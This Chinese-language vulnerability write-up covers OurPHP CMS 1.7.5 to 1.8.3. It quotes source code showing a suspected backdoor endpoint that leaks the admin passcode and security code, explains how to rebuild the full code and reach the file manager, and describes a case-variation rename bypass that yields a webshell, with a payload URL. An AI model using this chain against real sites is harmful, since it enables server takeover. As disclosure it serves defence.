某php一处疑似官方后门导致getshell
影响范围:v1.7.5-v1.8.3
先看 function\editor\php\upload_json.php第23行
if(isset($_GET["upload_file"])){
$json = new Services_JSON();
echo $json -> uploadsafe();
}
跟进function\editor\php\json.php 第238行
function uploadsafe()
{
global $ourphp;
return '<!--'.$ourphp['validation'].'||'.substr($ourphp['safecode'], 0, 32).'-->';
}
后门之处,暴露口令码、安全校验码的前32位,6位是在这32位里。
再看看安全校验码生成的地方,在function\install\index.php的第288行
$ourphp_safecode = getRandomString(32);
$safecode6 = substr($ourphp_safecode , 6 , 6);
$str_f = '$';
$str_tmp = "<?php
/*
* Ourphp - CMS建站系统
* Copyright (C) 2014 ourphp.net
* 开发者:哈尔滨伟成科技有限公司
* -------------------------------
* 网站配置文件 (2016-10-22)
* -------------------------------
*/
define('OURPHPNO', true);
define('WEB_ROOT',substr(dirname(__FILE__), 0, -7));
include '".$mysql_file."';
".$str_f."ourphp = array(
'webpath' => '/', // 网站路径
'validation' => '12345', // 口令码
'adminpath' => 'client/manage', // 管理员默认目录
'mysqlurl' => '".$ourphp_dburl."', // 数据库链接地址
'mysqlname' => '".$ourphp_dbname."', // 数据库登录账号
'mysqlpass' => '".$ourphp_dbpass."', // 数据库登录密码
'mysqldb' => '".$ourphp_mydb."', // 数据库表名
'filesize' => '5000000', // 附件上传最大值
'safecode' => '".$ourphp_safecode.$safecode6."', // 安全校验码
'mysqltype' => '".$mysql_type."',
);
可以看到随机一个32位,然后取32位的第6位后的6位拼接
再看\client\manage\ourphp_filebox.php 第45行
if (@$_GET['validation'] == $ourphp['validation'] && $_GET['code'] == $ourphp['safecode']){
$_SESSION['ourphp_outtime'] = time() + 3600;
$_SESSION['ourphp_out'] = "ourphp";
}else{
if(isset($_SESSION['ourphp_out'])){
$filefolder = str_replace('\\','/',WEB_ROOT.$ourphp['webpath']);
}else{
include 'ourphp_checkadmin.php';
$filefolder = str_replace('\\','/',WEB_ROOT.$ourphp['webpath']."templates/");
}
}
这里只要口令码、安全校验码正确就可以对文件进行操作(编辑、重命名)
再看832行,重命名的操作,可以大小写绕过
function renam($rename, $nrename, $folder) {
global $meurl,$folder;
$php = explode('.',$nrename);
$php = end($php);
if($php == 'php' || $php == 'asp' || $php == 'jsp' || $php == 'aspx'){
printerror("重命名出错!");
exit;
}
Payload:
http://localhost:88//function/editor/php/upload_json.php?upload_file=aaa
验证:
获取口令码、安全校验码
文件管理:
1 条评论
可输入 255 字